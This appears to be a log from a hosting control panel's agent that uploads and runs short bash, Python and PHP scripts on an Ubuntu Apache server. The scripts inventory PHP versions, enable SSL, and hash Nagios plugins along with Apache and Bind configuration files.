 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-02-10 12:16:57: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'venus',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 22.04.5 LTS',
  'rel' => '22.04.5',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2026-02-10 12:16:57: 

PUT: /tmp/pkp592921

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-02-10 12:16:57: 

chmod 755 /tmp/pkp592921; /tmp/pkp592921; rm /tmp/pkp592921

2026-02-10 12:16:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-02-10 12:16:57: 

PUT: /tmp/pkp331233

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-02-10 12:16:57: 

chmod 755 /tmp/pkp331233; /tmp/pkp331233; rm /tmp/pkp331233

2026-02-10 12:16:58: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34


2026-02-10 12:16:58: 

PUT: /tmp/pkp757769

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-02-10 12:16:58: 

chmod 755 /tmp/pkp757769; /tmp/pkp757769; rm /tmp/pkp757769

2026-02-10 12:16:58: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_dns)= f36ea60a77b3845b00b537996edd416b
bin(/usr/local/nagios/libexec/check_load)= 690e9d9fe6bac28dfa32ee29d85fb68f
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_jabber)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_ups)= 9121214aae62b2fc8d025112166fee75
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_clamd)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_dhcp)= 46ef0ab7dddc40f3a4ba437015632d6e
bin(/usr/local/nagios/libexec/check_imap)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_cluster)= 90646721740cf936013a95e90a0fd6a5
bin(/usr/local/nagios/libexec/check_disk)= 8d4292d545bc1d3c59088599ba1a1c73
bin(/usr/local/nagios/libexec/check_apt)= d50991036e497ef05f63ed11556f809c
bin(/usr/local/nagios/libexec/check_spop)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_ssh)= 68b0e0dabaa3953f78c29e156959d5d6
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_time)= 739cc0f76a81fa747059b1c1eabe1cd3
bin(/usr/local/nagios/libexec/check_nntps)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_pop)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_nt)= 02470ec5a869b374d862024b4366f09a
bin(/usr/local/nagios/libexec/check_nwstat)= d440b298378741acf3d727852c9e728a
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_ping)= 89a722035629d65064a774f123a763be
bin(/usr/local/nagios/libexec/check_icmp)= 1e8364e24ada4251e88ee6f6856f69af
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_overcr)= 20b4a73990767c7088c85a59b557a216
bin(/usr/local/nagios/libexec/check_ide_smart)= 8f92a1b90afcf688b2f36db19f79660e
bin(/usr/local/nagios/libexec/check_simap)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_ntp_peer)= 6b560dbf5447147f995008d2c17b138b
bin(/usr/local/nagios/libexec/check_ntp)= d7b3b55800af8e834e3f3070d4b873c9
bin(/usr/local/nagios/libexec/check_ntp_time)= 5e5a91f4e1c2c2e0bf8947202ef1e04e
bin(/usr/local/nagios/libexec/check_ftp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_http)= 285c5d948f429d2632a6558e418a93af
bin(/usr/local/nagios/libexec/check_users)= 13affb38feebd92a53a83ddd49343a55
bin(/usr/local/nagios/libexec/check_dig)= d15b423ab4af48e2b255d3c573f5f801
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_tcp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_real)= be67a0f8be8cce89d830f03ebd8320b6
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_dummy)= da869cd42522597cad8c5ec5de24450c
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 4da353c3a6a228141d0daa5bd0a6e171
bin(/usr/local/nagios/libexec/check_ssmtp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_uptime)= bbf847ce90c432ab9e07a6797c27b3a7
bin(/usr/local/nagios/libexec/check_nntp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_procs)= 584bf9b108dc0d6837a82509368d6eda
bin(/usr/local/nagios/libexec/check_mrtg)= 1626b9a4afc6287fc70f977db01d5750
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_udp)= 6c35a94070ae33dd4f4c3bc14f90ae91
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_nagios)= b4b0142a26c87eee30ced1bff7502d12
bin(/usr/local/nagios/libexec/check_smtp)= 8c0b0d076a3df62472a3e74452df339e
bin(/usr/local/nagios/libexec/check_by_ssh)= f60f2a199a1464921a7ff1eaeb7907f7
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_swap)= 4fe57f7a2c1786dbb696204e504504e7


2026-02-10 12:16:58: 

PUT: /tmp/pkp744063

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-02-10 12:16:58: 

chmod 755 /tmp/pkp744063; /tmp/pkp744063; rm /tmp/pkp744063

2026-02-10 12:16:58: 


status=ok


2026-02-10 12:16:58: 

PUT: /tmp/pkp491560

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-10 12:16:58: 

chmod 755 /tmp/pkp491560; /tmp/pkp491560; rm /tmp/pkp491560

2026-02-10 12:16:58: 
2026-02-10 12:16:58: 

PUT: /tmp/pkp154297

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/000-default.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-10 12:16:58: 

chmod 755 /tmp/pkp154297; /tmp/pkp154297; rm /tmp/pkp154297

2026-02-10 12:16:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1350
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerName venus
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet




(gzipped output)


MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/hostz_venus_org.conf)= b36c9c0670ddcb50ffe0eb79880b3bc9
MD5(/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt)= a1dde38c828bab91f8bff730951977b7
MD5(/etc/apache2/sites-available/hopeinstoughton_text_org.conf)= 12d10073958b2a5ecb9033981add7b2a
MD5(/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt)= ede93ed13a79ab7549e31f6bf6aaad9d
MD5(/etc/apache2/sites-available/hopeinstoughton_list_org.conf)= f628b84461c09b4cf406d5a8b2016230
MD5(/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt)= b95c03b68c6f492817888bb6da92b3e7
MD5(/etc/apache2/sites-available/000-default.conf)= 827adf7df3739e277c919e9ab2dc4d7c
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 2cdb743ad6a2235bb4fe70ce1aaaa664
link(/etc/apache2/sites-enabled/hostz_venus_org.conf)= /etc/apache2/sites-available/hostz_venus_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf)= /etc/apache2/sites-available/hopeinstoughton_text_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf)= /etc/apache2/sites-available/hopeinstoughton_list_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf


2026-02-10 12:17:52: Establishing a connection
2026-02-10 12:17:52: 

PUT: /tmp/pkp769546

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-10 12:17:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp769546; rm /tmp/pkp769546'

2026-02-10 12:17:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
